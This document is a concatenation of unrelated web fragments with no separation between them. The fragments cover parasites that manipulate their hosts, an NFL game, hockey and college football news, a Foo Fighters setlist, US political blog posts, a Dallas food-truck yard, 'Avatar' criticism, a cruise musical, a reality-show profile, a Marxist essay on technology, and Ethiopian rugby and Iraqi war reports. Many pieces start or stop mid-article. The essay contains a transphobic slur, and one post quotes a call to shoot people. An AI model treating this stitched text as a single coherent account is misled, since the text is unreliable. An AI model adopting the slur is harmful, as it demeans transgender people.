To a certain degree, yes. Perhaps the most familiar example is rabies, which can cause human hosts—like other mammals—to salivate excessively, thereby spreading the deadly virus. Researchers have even shown that malaria-infected people are more attractive to mosquitoes, which spread the infected blood to another host, according to a 2005 PLoS ONE paper.
Such pernicious parasitism is indeed widespread throughout various kingdoms. "We know it's evolved a few times," Exeter's Hughes says. So, he wonders: "Has it been different solutions to the same problem?"
In the quest to understand both how these uncanny behaviors work and how they emerged, researchers are also enlisting the help of evolutionary ecology. They are examining these behaviors on a smaller scale. For example if two larvae are growing on a controlled host, like the P. argyra orb-web spider, what happens to the spider's behavior when one is mature and the other isn't yet ready to emerge?
Some hosts have evolved to cope with frequent parasitism. For example, one beetle that is frequently killed off early by a parasite has adapted by increasing its sexual activity and producing more offspring, Thomas notes.
Being the heir to Peyton Manning in Indianapolis is heady stuff for a rookie taking the reins of a franchise that won two games last season.
Now, after guiding the Colts back to the playoffs -- and breaking Cam Newton's single-season passing record for a first-year player -- it's safe to say Luck exceeded just about all of them.
Luck threw for 205 yards Sunday, and his 7-yard touchdown pass to Reggie Wayne on third-and-goal late in the fourth quarter gave the Colts a 20-13 victory over the Kansas City Chiefs. That put them into the playoffs without worrying about anybody else.
"Would we have done it without him?" Colts interim coach Bruce Arians asked. "No."
Luck broke Newton's record of 4,051 yards passing in the second quarter. But it was extending his own rookie record for fourth-quarter comebacks to seven was more important.
The Chiefs had rallied behind Jamaal Charles' 226 yards rushing to tie the game 13-13 heading into the fourth quarter. The Colts' defense stuffed quarterback Brady Quinn on fourth-and-inches to give Luck a chance.
That's all he needed.
After a miserable stretch in which he connected on 1 of 13 passes, the fabulous freshman calmly led Indianapolis (10-5) downfield. He completed a key pass to T.Y. Hilton on third down and made two nice throws to Wayne before hitting the veteran in the back of the end zone.
"We had so many opportunities all game, especially on third down, that we squandered," Wayne said. "We wanted to get that done. That was the opportune time to do it."
Darius Butler returned an interception 32 yards for the Colts' other touchdown, helping them join the 2008 Miami Dolphins as the only teams to win at least 10 games after losing 14 or more the previous season.
Most of those wins have come under Arians, who has filled in admirably while Chuck Pagano underwent treatment for leukemia. Pagano is expected to rejoin the Colts this week.
"Mission accomplished. That's all I can say," Arians said. "Without getting emotional again, knowing that (Pagano) is going to be back Monday, the work week shouldn't be as stressful."
Charles' big day included an 86-yard touchdown run on the first play of the second half. It was his second 200-yard game of the season, and came one week after he managed 10 yards on nine carries against Oakland.
"It was fun today, competing out there and doing it while we were trying to come back," Charles said. "It was fun going out there and putting out a performance like that."
Charles joined the Titans' Chris Johnson and former Lions great Barry Sanders as the only players with three runs of 80 or more yards in a season. His third career 200-yard game also set a franchise record, which he had shared with Larry Johnson.
Peyton Hillis added 101 yards on the ground for the Chiefs (2-13), who had 352 yards rushing in a losing effort -- the first time that's happened in NFL history.
A big reason why was Quinn, who was just 10 of 22 for 162 yards with two interceptions.
"This game was without a doubt, 100 percent on my shoulders," he said. "You can't play the way I played today and win a football game."
His trouble began with the Chiefs' fifth offensive play, when he threw woefully behind Dexter McCluster -- who wasn't even looking for the ball. Butler picked off the pass in stride, taking it untouched to the end zone for a 7-0 lead.
Kansas City managed a field goal by Ryan Succop, but he missed his next try and the Colts went the other direction to set up the first of Adam Vinatieri's two field goals.
Charles fumbled in the red zone later in the second quarter, and the Colts moved into Vinatieri's range for a 36-yard field goal and a 13-3 halftime lead.
Charles electrified a sparse crowd on the first play of the second half. He angled to the left and then found room down the sideline, cutting back toward the middle of the field and winning a foot-race with the Indianapolis defense for an 86-yard touchdown run.
The Chiefs were in position to take the lead later in the third quarter, but Quinn was picked off by Vontae Davis in the end zone. The defense forced a three-and-out and Kansas City was driving again before settling for Succop's tying 47-yard field goal.
The Chiefs got the ball back again late in the fourth quarter, but Quinn was stuffed on a quarterback sneak on fourth-and-inches from the Indianapolis 27.
That turned the ball over to Luck, who completed an 11-yard pass to Hilton to convert a third down before he and Wayne won it.
"At times it looked a little bleak," Arians said. "Guys hung in there, made plays when they had to make them. Offensively we struggled, and then put together a drive, like we have all year."
Game notes
Letang, 26, is a 6 year NHL veteran with 209 career points in 385 career games, all with Pittsburgh. He was drafted in the third round (62nd overall) by Pittsburgh in the 2005 NHL entry draft. Letang was a member of the Stanley Cup winning Penguins team in 2009.
Reports indicate that the contract is for 8 years and $58 million putting Letang at a $7.25 million annual cap hit. The deal also includes a limited no-trade clause. The deal can not officially be signed until July 5th, but the deal is agreed upon. The contract will begin in the 2014-15 season.
The move makes Letang the third highest paid player on the Penguins, behind star centres Sidney Crosby and Evgeni Malkin. With James Neal, and Marc-Andre Fleury also carrying big cap hits, navigating the Salary Cap and finding players to surround the core will be reigning NHL GM of the Year Ray Shero’s biggest challenge in the coming years.
Per “ @ capgeek: With Letang re-signing, # Penguins will now be paying seven players a cap total of $44.3M in 2014-15.”
Thanks for reading, as always feel free to leave comments below and follow me on twitter @lastwordBKerr. Give the rest of the hockey department a follow while you’re at it – @BigMick99, @IswearGAA, and @LastWordOnNHL, and follow the site @lastwordonsport.
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Foo Fighters played their first official comeback gig last night, with an epic show at the Foro Sol stadium in Mexico City. See photos, footage and setlist details below.
Following the band's surprise gig at a pizza restaurant in California earlier this week, Dave Grohl and co delighted their Mexican fans with a hit-packed set at the 55,000-capacity venue.
As well as a host of Foos classics and fan favourites, the band didn't debut any new tracks but did cover 'Blackbird' by The Beatles, 'In The Flesh?' by Pink Floyd and 'Breakdown' by Tom Petty and The Heartbreakers.
Watch Foo Fighters performing 'Best Of You' in Mexico below
Before the show, support band The National posted a picture of the two bands together. See that below.
Foo Fighters played:
Bridge Burning
Rope
The Pretender
My Hero
Learn to Fly
White Limo
Arlandria
Breakout
Cold Day in the Sun (Dave Grohl on drums)
Long Road to Ruin
Big Me
Stacked Actors
Walk
In the Flesh? (Pink Floyd cover)
These Days
Generator
Monkey Wrench
Hey, Johnny Park!
This Is a Call
All My Life
Encore:
Wheels
Blackbird (The Beatles cover)
Times Like These
Dear Rosemary
Breakdown (Tom Petty cover)
Best of You
Encore 2:
Everlong
Currently, Foo Fighters are working on their forthcoming album with a 2014 release date in mind. Grohl told Rolling Stone magazine that the band had taken a whole new approach to the making of the record, which will be their eighth.
"It’s badass," he said. "We’re doing something that nobody knows about, it’s fucking rad. We begin recording soon, but we’re doing it in a way that no one’s done before and we’re writing the album in a way that I don’t think has been done before."
Foo Fighters are also among the bands rumoured to be playing Glastonbury festival 2014
Maddow was asking about Sanders potentially dropping out after California “if you’re ahead in the vote, if you’re ahead in pledged delegates.”
Clinton interrupted to cry, “I am ahead! I am way ahead on both!”
She touted the millions more votes she has than Sanders and said “what he and his supporters are now saying just doesn’t add up!”
Clinton went on and on about sharing goals with Sanders before again emphasizing to Maddow, “But I am ahead! And let’s start from that premise while we talk about what happens next!”
Watch above, via MSNBC.
[image via screengrab]
Follow Josh Feldman on Twitter: @feldmaniac
The yard, which is strewn with mismatched lawn furniture and random objects like pink flamingos and various pieces of rusty old cars, feels sort of like your crazy old Craigslist-addicted uncle's backyard, if your uncle had really good taste in beer and a penchant for bottling his own cocktails.
Here's why the Truck Yard is shaping up to be Lower Greenville's — if not the entire city's — hottest new hangout:
· It's kid- and dog-friendly. Let's hope people don't get overboard and let their kids run wild, though; the Truck Yard's official rule list does specify that pets, kids and unruly adults should be kept on leashes.
· There are a whopping three bars: One full bar inside the main open-air building, a smaller bar housed inside an old beat-up Airstream trailer, and an elevated treehouse bar where the main attraction is carbonated, bottled cocktails.
· Besides plenty of beer, there's also many different cocktail options: frozen, draft, and bottled. (Scope out the full drink menus above.)
· The best part about all the booze might just be the reasonable prices: Beers top out at $5.50, with plenty of selections in the $3 range, and draft cocktails are $6 for a very generously sized plastic cup ($7 for the bottled cocktails at the treehouse bar).
· Three food trucks at any given time mean there's something for everyone's tastes. (Saturday night's lineup was The Crazy Pig, Tutta's Pizza and Cajun Tailgators. See the month's truck schedule here.)
· Besides food truck fare, patrons can also opt for a made-to-order cheesesteak from Steak Me Home Tonight, located inside the main building (and perfuming the entire area with irresistible cheesesteak-y aromas).
· After a very long hiatus, Carnival Barker's Ice Creams is up and running at their stand at the front of the Truck Yard, serving up cups and take-home pints of their much talked about ice cream, plus novelties like Rice Krispy ice cream sandwiches, frozen bananas and floats.
· Plenty of parking in the Trader Joe's lot doesn't hurt, either.
The Truck Yard is open daily from 11 a.m. until midnight.
· Truck Yard [Official]
· Previous Truck Yard coverage [-EDFW-]
Mr. Cameron might have opened the door to multiple readings with his declaration that “Avatar” was an environmental parable. In a news conference in London in December, he said he saw the movie “as a broader metaphor, not so intensely politicized as some would make it, but rather that’s how we treat the natural world as well.”
In a column for the Christian entertainment Web site movieguide.org, David Outten wrote that “Avatar” maligned capitalism, promoted animism over monotheism and overdramatized the possibility of environmental catastrophe on earth. At another site that offers a conservative critique of the entertainment industry, bighollywood.breitbart.com, John Nolte wrote that the film was “a thinly disguised, heavy-handed and simplistic sci-fi fantasy/allegory critical of America from our founding straight through to the Iraq War.”
Not surprisingly, the religious overtones of “Avatar” were of interest in Vatican City, where the film was reviewed by Gaetano Vallini, a cultural critic for L’Osservatore Romano, the daily newspaper of the Holy See.
In his review, Mr. Vallini wrote that for all of the “stupefying, enchanting technology” in the film, it “gets bogged down by a spiritualism linked to the worship of nature.”
In a telephone interview, Mr. Vallini said his widely reported review might have been overemphasized because of the publication it appeared in. His assignment to write about “Avatar” was not an attempt to advance a particular agenda, he said, but rather “a compulsory choice” given the anticipation surrounding the film.
Photo
Ultimately, Mr. Vallini said, “the movie doesn’t provoke many emotions,” and its observations about militarism, imperialism and the environment “are just sketched out as themes.”
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“It is Cameron’s narrative choice,” he continued, “as he is aware of the fact that the visual aspect widely compensates for this lack.”
Other viewers say that issues of imperialism are central to the film. In a post on the science-fiction Web site io9.com, Annalee Newitz, the site’s editor in chief, wrote that “Avatar” depicted “the essence of the white guilt fantasy, laid bare,” a dimension she said it shared with movies from “The Last Samurai” to “District 9.” (Critics have also said that “Avatar” copied story elements from the movies “Dances With Wolves,” “Pocahontas” and “Ferngully: The Last Rainforest”; the Poul Anderson novella “Call Me Joe”; and the “Noon Universe” book series by the Russian authors Arkady and Boris Strugatsky.)
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In movies like “Avatar,” Ms. Newitz wrote, “humans are the cause of alien oppression and distress,” until a white man “switches sides at the last minute, assimilating into the alien culture and becoming its savior.”
Ms. Newitz said in an interview that since publishing that post, she had heard from readers around the world who disagreed with her interpretation, which she appreciated. “Just the idea of whiteness is a local phenomenon,” she said. “It’s certainly not in parts of the world where white people are not dominant.”
In China, for example, the film’s imperialist themes have upset audiences who believe that the plight of the aliens, the Na’vi, who are forced from their home by human industrialists, is a parable for Chinese people whose dwellings have been forcibly razed by local governments to make way for new construction. As one pseudonymous commenter quoted on Chinasmack.com wrote: “China’s demolition crews must go sue Old Cameron, sue him for piracy/copyright infringement.”
There is, at least, consensus among “Avatar” critics that good science fiction operates on an allegorical level. In novels like “Dune,” films like “Star Wars” or television series like the recent “Battlestar Galactica,” Ms. Newitz said the fantastical elements of these works offer a place of “narrative safety” to contemplate real-life issues like environmental decay, totalitarianism and torture.
“There’s something very satisfying about being able to think through those issues without feeling you’re actually taking a political position,” she said. “Because you’re not – you’re just talking about stories.”
Over the breadth of Mr. Cameron’s career, he has been attracted to outsize themes. Ms. Keegan said that it was possible to read “The Terminator,” his breakthrough 1984 movie, as an anti-technology polemic, an anti-war film or a modern gloss on the birth of Jesus.
“Or,” she said, “ you could just watch it as a movie where Arnold Schwarzenegger stomps around like a robot.”
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Paradoxically, the pileup of arguments surrounding “Avatar” might have made a sympathetic figure out of the outspoken Mr. Cameron, who now finds himself in the underdog position of having to account for every possible message in his ostensible popcorn film.
“Often to his detriment, he says exactly what he thinks,” Ms. Keegan said. “All of that makes him seem outside the Hollywood bubble, even though on paper he couldn’t be more of an insider.”
Of the nine total justices, only 5 voted to recognize the right of Habeus Corpus - a right that is literally spelled out in the Constitution:
The privilege of the writ of habeas corpus shall not be suspended, unless when in cases of rebellion or invasion the public safety may require it
Here are the 5 who voted to affirm Habeus Corpus:
Stevens (R, Ford) age 88
Ginsburg (D, Clinton) age 75
Kennedy (R, Reagan) age 71
Souter (R, Bush) age 68
Breyer (D, Clinton) age 69
The other 4 justices voted that it is okay for the government to ignore the inclusion of those words in the Constitution:
Scalia (R, Reagan) age 72
Thomas (R, Bush Sr) age 59
Roberts (R, Bush Jr) age 53
Alito (R, Bush Jr) age 58
The justices split exactly the same way on many different issues - including whether or not the Constitution protects a woman's right to have an abortion. Those in the majority are old - really old. The youngest one is 68. The ultraconservatives are, with the exception of Antonin Scalia, all in their 50s and will in all likelyhood serve on the court for at least twenty more years.
Bottom line: If McCain wins the presidency and replaces a retiring judge with a 5th scaliabot, we will have an ultraconservative anti-abortion rights, anti-habeus corpus, pro-executive dominance supreme court majority that will last into the 2030s no matter who is elected after him.
Glenn Greenwald explains just how dire our situation still is:
Three of the five Justices in the majority -- John Paul Stevens (age 88), Ruth Bader Ginsburg (age 75) and David Souter (age 68) -- are widely expected by court observers to retire or otherwise leave the Court in the first term of the next President. By contrast, the four judges who dissented -- Antonin Scalia, Clarence Thomas, John Roberts and Sam Alito -- are expected to stay right where they are for many years to come. John McCain has identified Roberts and Alito as ideal justices of the type he would nominate, while Barack Obama has identified Stephen Breyer, David Souter and Ginsberg (all in the majority today). It's not hyperbole to say that, from Supreme Court appointments alone, our core constitutional protections could easily depend upon the outcome of the 2008 election.
update:
As you may or may not know, the Supreme Court recently decided that laws and orders which deny prisoners the right of Habeas Corpus violate the Constitution's Suspension Clause ("The privilege of the writ of habeas corpus shall not be suspended, unless when in cases of rebellion or invasion the public safety may require it") are unconstitutional and therefore void.
Apparently, some right wingers are advocating that the President should ignore the Supreme Court's decision because they don't like it. Laura Ingraham has been advocating ignoring the Court:
...if I were President Bush, and I had heard that this case had come down, and I'm out of office in a few months. My ratings, my popularity ratings are pretty low, I would have said at this point, that's very interesting that the court decided this, but I'm not going to respect the decision of the court because my job is to keep this country safe.
Michael Reagan has suggested going a step further:
Take em out and shoot em. . . . They are traitors to this country, and shoot them. . . . Anybody who does that doesn't deserve to live. You shoot them. You call them traitors. That's what they are. And you shoot em dead. I'll pay for the bullets.
'It's better than the movie,' the Utah father of two young daughters told Seatrade Cruise News.
Exclusive to the newly refurbished Disney Wonder, which just re-entered service from Galveston after a transformative drydock, the show features real snow flurries, a Broadway actor playing Olaf, great ensemble songs, laugh-out-loud humor and amazing special effects.
One of the triumphs of 'Frozen, A Musical Spectacular,' is how the lines are blurred between the puppet and puppeteer, especially in the cases of Olaf the snowman and Sven the reindeer, and between scenery and video technology, as when Elsa transforms her world into glittering ice and she herself changes appearance while belting out the emblematic ballad 'Let it Go.'
'Two years ago, when we were asked to make the most successful animated move in the world into a stage production, we thought that was a huge challenge,' Kevin Eld, creative portfolio executive, Walt Disney Imagineering, said aboard Disney Wonder. 'We started by finding the best creative team.'
The production was led by Tony Award-nominated director Sheryl Kaller ('Next Fall,' 'Mothers and Sons'). Joining the team were Tony Award-winning costume designer Paloma Young ('Peter and the Starcatcher'), choreographer Josh Prince ('Beautiful: The Carole King Musical'), scenic designer Jason Sherwood ('Paint Your Wagon') and writer Sara Wordsworth ('In Transit').
The puppetry, by Michael Curry, whose designs are featured in Disney’s Tony Award-winning Broadway musical 'The Lion King,' is a stand-out for characters like Olaf and Sven.
Music direction is by Marco Paguia, projection design by Aaron Rhyne and lighting design by Rui Rita. The show features the music and lyrics by the creators of the 'Frozen' film score, Kristen Anderson-Lopez and Robert Lopez, and is adapted from the screenplay by four-time Tony Award nominee Chad Beguelin.
Nancy Schretter of Family Travel Network praised the staging, which included projections on the walls of the theater itself. 'You feel surrounded and immersed in the experience. It feels real,' she said. Some children in the audience cried in sad parts and cheered in happy moments.
'The show is loved and revered by so many people. We thought it was perfect for a cruise ship because we carry such a wide range of people,' said Jim Urry, vp entertainment, Disney Cruise Line. There's 'a lot of heart' in 'Frozen,' and it's a story that's great for boys and girls, he added.
Urry thinks Disney continues to lead the cruise world in theatrical entertainment.
'We keep moving the bar and enhancing the story with technology but we don't let the technology take over because once you do that, you lose the heart,' he said.
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Vice President-elect Mike Pence Michael (Mike) Richard PencePence meeting with Senate GOP ahead of vote to block emergency declaration 'And the award for best political commentary by an Oscar nominee goes to...' UN nuclear watchdog: Iran maintains compliance with 2015 pact MORE also said Monday that there will be “a number of very important announcements” on Tuesday, according to pool reports.
“Not only will we have, first thing tomorrow morning, we’ll have one Cabinet-level pick as well as another top administration official,” Miller said on Fox News’s “The Kelly File.” “I think we’re going to have a second Cabinet-level pick coming tomorrow as well.
“As the president-elect reaches his decision and he’s picked some really excellent people for his Cabinet, then we’re going to go and get those out.”
When asked if one of the announcements would include Rep. Tom Price (R-Ga.) as Health and Human Services secretary, Miller demurred, saying: “Stay tuned.”
Multiple news outlets reported Monday night that Trump has selected the Georgia Republican for that role and the announcement could come as soon as Tuesday. Price, the Budget Committee chairman and a former orthopedic surgeon, has been a vocal opponent of ObamaCare.
Trump repeatedly vowed to repeal and replace President Obama's signature healthcare law while campaigning, though he has recently signaled an openness to keeping certain parts of the law intact.
Miller said he wouldn’t expect an announcement on Tuesday about Trump’s pick for secretary of State. Trump’s inner circle has been feuding over who should fill the post of the top U.S. diplomat, with many of his closest allies voicing concerns about having 2012 GOP nominee Mitt Romney, who has met with Trump about the post, in the position.
Here's how the top 40 looks. Tell us in the comments section below which spot you disagree with — we'll be sure to pass along word to Steele.
1. Ohio State
2. TCU
3. USC
4. Alabama
5. Baylor
6. Georgia
7. Stanford
8. Florida State
9. Michigan State
10. LSU
11. Oregon
12. Notre Dame
13. Wisconsin
14. Auburn
15. UCLA
16. Virginia Tech
17. Clemson
18. Oklahoma
19. Penn State
20. Ole Miss
21. Miami (FL)
22. Arkansas
23. Boise State
24. Missouri
25. Tennessee
26. Nebraska
27. Utah
28. Oklahoma State
29. Arizona State
30. Georgia Tech
31. Marshall
32. Texas A&M
33. Texas
34. Arizona
35. Toledo
36. Minnesota
37. Louisville
38. San Diego State
39. Mississippi State
Her season was well-documented for her pursuit of Cara Maria and Laurel. In a game where the Champions were supposed to intimidate and terrorize the rookies, Nicole viewed the Champions as people she could have in bed with her while she plays the game. Nicole created more inner-team turmoil within the Champions than anyone else. She failed in her pursuit of Cara Maria, then pivoted into hooking up with Laurel and dated her off the show for months. They split a few months prior to the filming of Vendettas. If you could not tell from the trailer, Nicole finally got to kiss Cara Maria.
Not sure if this is a hookup, a dare, or anything, just know it happens. This seems like a petty move considering Laurel and Cara Maria are formerly best friends, while Nicole’s break-up from Laurel was still very recent.
Nicole is the better version of Cory. It seems like she comes on these shows in order to find people to hook up with, and she talks about winning. The difference is Nicole does actually win missions and is a feared physical competitor.
Skills & Physical Strength: She is looking jacked coming into Vendettas. Nicole has always loved to flaunt her muscles and abs — this time around she looks bigger and better than ever.
Most of the girls on the cast cannot perform a pull-up. Nicole probably does multiple sets of pull ups and other upper body work-outs. She has worked hard to make her body a cut piece of muscle. Her athletic pedigree is impressive. Having done both track and football in high school, Nicole is possibly the most explosive female athlete on the Challenge since Evelyn. Laurel is a giant, and Emily is a physical specimen, the two aren’t natural athletes in the way Nicole is. Laurel has size and is a good athlete, however, she is a bit flat footed and clumsy at times. It took Emily a couple seasons to learn better swimming and running form.
As a track athlete, when Nicole starts running she has a burst no other girl has. She proved it a couple times on Invasion by winning immunity in the curry eating challenge during the race portion, and set a faster pace than most of the males in Day Two of the final. It often takes many of the females about a few hundred feet or more before they get a solid running burst, Nicole takes off almost immediately. The first step in sports is often the biggest separator when it comes to individual competition. Overall speed matters in a marathon, in a sprint it is about who gets the initial edge and takes the momentum. Daily challenges are sprints.
Her weakness in physical competitions is over-confidence. She failed on a couple missions on Invasion because she attempted to attack every mission relying too much on her physical abilities. Nicole needs to use her brain more. There were a couple times where she did well in missions on Invasion because she could physically do things other girls couldn’t.
Social, Mental, & Political Game: For someone who seems to get on people’s nerves at times, Nicole is everyone’s best friend. After the season she is always talking and texting with people from the show like they are family. One day she is with the girls, another day with the guys, and is always loyal to her best friends on the show. Nicole plays a great social game and it’s not really talked about. This season she enters the game with allies in Cory, Tony, Nelson, Shane, Marie, and Kailah. Meaning she is friends with one of the best female competitors and a couple strong male competitors. Guys want to run the final with Nicole from a physical perspective.
Her biggest weakness is puzzles. Nicole cannot do a puzzle to save her life. Despite her finishing in first place of both day two and day three of the final on Invasion, Nicole finished in third place because of her inability to solve a simple math puzzle on Day One that set her back completely. In order for her to win, she better be practicing puzzles in-between her sets at the gym.
Elimination & Winning Potential: Holding down a career 1–0 elimination record, Nicole did all she could to avoid eliminations on Invasion, only competing in one once she was forced to during the Underdog Bloodbath. In the three-way tug of war elimination, Nicole literally pulled her two opponents in like they were dogs on leashes. She lost the first round because Ashley and Amanda teamed up against her. Nicole went on to beat Amanda in the second round. Considering eliminations often get physical, nobody should want to see Nicole in elimination. Similarly, Nicole should be terrified of walking into an elimination with a puzzle.
Can Nicole win? Yes. For her to win the final, she needs to be average in puzzles or eliminate both Cara and Kailah (her biggest threats to winning). If she is not better at the mental portion of the game, she must get the better players out, simple as that.
“I know in casual conversations in the Congress, many legislators who’ve done pot themselves. This pejorative pot smoker label doesn’t fly,” he said in a new interview. “So many Americans have used marijuana or have no judgement for people that do. It’s like saying, ‘Oh, those alcohol drinkers.’ We are a great society, a decent society, a good society, but our criminal justice laws do not reflect the heart of America and we all have got to do something about that.”
Booker was responding to a suggestion from Slate’s Mike Pesca that motivating marijuana smokers to help pass legislation he has introduced would be “a big ask,” presumably because they are lazy.
The senator, who has introduced far-reaching bills that would allow medical cannabis and punish states with racially disproportionate marijuana enforcement, did not laugh at Pesca’s apparent joke, pointing out that some very successful people have used cannabis.
“Two of the last three presidents admitted to doing drugs harder than pot,” he said.
But Booker did agree that not enough people who use marijuana are involved in the fight to repeal its prohibition.
“Too many people are sitting on the sidelines. And I really want to point fingers,” he said.
Booker especially wants to call out well-to-do cannabis consumers who aren’t helping the movement.
“People that are privileged in society who smoke pot and just don’t feel like there’s any chance of consequences in their lives,” he said. “Their indulging in that kind of behavior [and] not being a part of the activist community is hypocritical because there’s too many children, too many young people, too many people in my neighborhood and in my community who are suffering for doing the same thing that you’re doing.”
Drawing a parallel to prior movements for social justice, Booker also said that it is also important for people who are not directly impacted by marijuana laws to join the fight.
“The civil rights movement moved so fast because people sitting comfortably at home in Iowa watched what was happening in Alabama, got on freedom rides, went down to do sit-ins and boycotts,” he said. “When it comes to America, we’re all in this together. So don’t just sit back and say, ‘Hey, this isn’t affecting me or I have access to marijuana…’ This is something we’ve got to do something about, and we need everybody involved.”
Earlier this month, during a speech taped for a conference of legalization activists, Booker called the broader war on drugs a “cancer.”
Polish MPs have passed legislation making it obligatory to chemically castrate certain sex offenders.
Under the law anyone found guilty of raping children under 15, or close relatives, will be given drugs to lower their sex drive.
All but three MPs present in the lower house voted for the measures.
They were part of a bill that also increases jail terms for incest and paedophilia, and criminalises any attempt to justify paedophilia.
Anyone propagating such a view is subject to a prison term of up to two years.
The same sentence will be applicable to anyone attempting to seduce a child under 15 years of age over the internet.
Unfortunately, it cannot be said that alt-right et al. have a more rational view regarding technology and technological progress; with the future looking bleak, they romanticize the past instead. (It sometimes seems as if the only group left having a positive view on technology are a bunch of tumblr trannies with cyberpunk-fueled fantasies about implants and about having their “female” brain transplanted into the shell of a young Scarlett Johansson.) Sure, not all of them go so far as to regularly quote the Unabomber, but despite not being able to agree about which period of the past they should romanticize the most (Sparta? The Dark Ages? Nazi Germany?), there seems to be an at least emotional consensus about technological progress having enabled women to go crazy. Without technology, their reasoning goes, females had to drop their stronk womyn act and would instead rely on stronk men again to protect them from spiders and bears.
Not even mentioning the more libertarian concerns about technology and surveillance, one cannot help but think of Tibullus’ (55 BCE – 19 BCE) famous Tenth Elegy when being confronted with this ideological pessimism in regards to the alleged consequences of technology: “Quis fuit, horrendos primus qui protulit enses? / Quam ferus et vere ferreus ille fuit! / Tum caedes hominum generi, tum proelia nata, / tum brevior dirae mortis aperta via est.” (“Who was he, who first forged the fearful sword? How iron-willed and truly made of iron he was! Then slaughter was created, war was born to men, then a quicker road was opened to dreaded death.”) Of course, the great poet quickly lets this Roman soldier preparing for battle realize that we should not blame the inventor or the invention, and that “slaughter” was not just born with the sword. And what Tibullus was aware of, Marx and Engels recognized, either: “Every step forward in production is at the same time a step backwards in the position of the oppressed class, that is, of the great majority. Whatever benefits some necessarily injures the others; every fresh emancipation of one class is necessarily a new oppression for another class. The most striking proof of this is provided by the introduction of machinery, the effects of which are now known to the whole world.”
If technological progress occurs during the advancement of a struggling class, “its consequences are in most cases good”, e.g. they result in a higher life expectancy, better health care, clear drinking water, less toothache and being able to call your father who would probably already be dead from something heart related already if it weren’t for modern medicine. However, if technological progress occurs during the downfall of this class and only comes into the hands of a ruling class that doesn’t have to face any resistance, its consequences will be mostly bad, e.g. result in surveillance, abolition of cash in favor of electronic money, drone strike terrorism, workers being replaced by machines or essentially being turned into parts of a machine (the most soul-destroying probably being the jackhammer), fatherhood tests being made illegal, mass-immigration in countries that already suffer from unemployment being promoted, and so on and so forth. (If you hope for sexbots to eventually replace women you’ll be disappointed, because robots that could replace women would soon be outlawed, while male workers will continue to be replaced by machinery.)
Oscar Wilde put it best in his essay about The Soul of Man under Socialism: “All work of that kind (=that slaves had done before) should be done by a machine.” Leon Trotsky agreed: “The material premise of communism should be so high a development of the economic powers of man that productive labor, having ceased to be a burden, will not require any goad, and the distribution of life’s goods, existing in continual abundance, will not demand – as it does not now in any well-off family or ‘decent’ boarding-house – any control except that of education, habit and social opinion. Speaking frankly, I think it would be pretty dull-witted to consider such a really modest perspective ‘utopian.’” Nothing else is what Lenin summarized by saying that “Communism is Soviet power plus electrification of the whole country.” The Soviet power (Soviet meaning council) represented freedom, but without electrification, back then synonym for an unbelievable ease of working conditions, freedom was illusory.
Whatever you otherwise dislike about Marxism, Marxism is not a primarily “moral” enterprise, it’s not a secularized Christianity. No priest ever said that Christianity is impossible without the “electrification of the whole country” – but Communism without technology is. So don’t let us make the mistake Albius Tibullus warned us about more than 2000 years ago. It’s not the sword nor the inventor of the sword that is evil; it simply depends on in whose hand said sword is. If you are oppressed by a monopolized ruling class working against your very best interests, it’s not the technology that is the problem but the fact that this one ruling class still holds all the power in its hands.
Centred around the Nicholas Robinson School in Mekelle, the sport is regularly taught to 1,300 children, aged between 7 and 17.
The school’s senior sports teacher, Abebuker Ahmed Tadesse, is the president of the newly-formed association, created in co-operation with the sports committee of the state.
“We are introducing Rugby League football in Ethiopia – through the Tigray Region – at youth level, so as to create a firm foundation for future growth,” said Abubeker.
“We are beginning in schools and universities in the north of Ethiopia, and we will spread our sport to the rest of the country.”
[follow id=”LeagueExpress” size=”large” count=”true” ][follow id=”RLWorld” size=”large” count=”true” ]
Chairman of the sport committee is the Senior Technical Expert of Tigray Region Government Sport Bureau, Mr Angesom Kahsay, who worked closely with Abubeker to create the association.
The Ethiopian Rugby League now needs to achieve official status in three other states for the federal ministry in Addis Ababa to recognise it formally and provide resources.
The first step in this process will be the training of more coaches and referees, which will be undertaken by RLEF MEA Director Remond Safi when he visits Mekelle at the end of the month.
By of the
Bernard Hlavac is 75 years old, is a former Republican and used to work as an executive with Sentry Insurance.
He also hopes Gov. Scott Walker loses to Milwaukee Mayor Tom Barrett on Tuesday.
On Page 5A of Sunday's Journal Sentinel, Hlavac lays out in detail why he thinks Walker should be recalled on Tuesday.
He said he took out the same ad in all of the Gannett newspapers in Wisconsin and plans to run the ad in Monday's Wisconsin State Journal.
He declined to say what he spent on the ads. He said he is wealthy and didn't care what it cost him.
"I can't think of a better way to spend my money than on this," he said in a telephone interview from his Stevens Point home. "And I don't care what people think."
Hlavac says in the ad that he wrote it for his daughter, a school psychologist in Madison, and "all teachers and staff who have been so maligned and savaged by Walker and the Republican Party whose aim is to destroy unions in Wisconsin and throughout the country."
Hlavac said he supported the Republican Party for years, but he said the party had became a party that favors the wealthy and "is based on fear."
Hlavac provided his email address in the ad. He said he believed he received several hundred emails in response.
"They were mostly very good," he said. "Some were bad, some were very bad."
Hlavac said he believed Tuesday's election will be close.
Based on their responses to a burnout measure, the teachers were categorized as belonging to either a burnout or no-burnout group. Less than one percent of the no-burnout group met criteria for a provisional diagnosis of depression, whereas 86 percent of the burnout group met these criteria.
In addition, the teachers in the burnout group were about three times as likely to have a history of depression and almost four times as likely to be currently taking antidepressant medication. Teachers in the burnout group were also more than twice as likely to report a history of anxiety disorders. When burnout and depression were treated as continuous dimensions, they were very highly correlated.
In a televised statement on Monday, military spokesman Brigadier General Yahya Rasool declared Ramadi as “fully liberated,” saying the capital of the western province of Anbar was “grabbed from the hateful claws.”
State TV also showed troops, some waving Iraqi flags and others brandishing machine guns, chanting and celebrating inside a government complex that had been taken from Daesh the day before.
However, a later statement by General Ismail al-Mahlawi, the head of military operations in Anbar, said that parts of Ramadi are still under the control of Daesh Takfiri militants, adding that his forces had only retaken a strategic government complex.
“The troops only entered the government complex,” al-Mahlawi said, adding, “We can't say that Ramadi is fully liberated. There are still neighborhoods under their control and there are still resistance pockets.”
Earlier on Sunday, Sabah al-Numan, a spokesman for Iraqi counter-terrorism units, said Iraqi government forces had seized control of the former government compound in central Ramadi, the last Daesh stronghold in the city.
He added that Iraqi forces are removing roadside bombs as they push forward.
Ramadi fell into the hands of Daesh in May, months after the terrorist group overran territories in northern Iraq. The Iraqi forces have managed to liberate some key towns and villages from the grips of the Takfiri group like Tikrit and Baiji in Salahuddin Province. Seizing control of Ramadi would prepare the ground for the long-anticipated offensive into Mosul, the largest city Daesh controls in the Arab country.
40 Daesh Takfiris killed
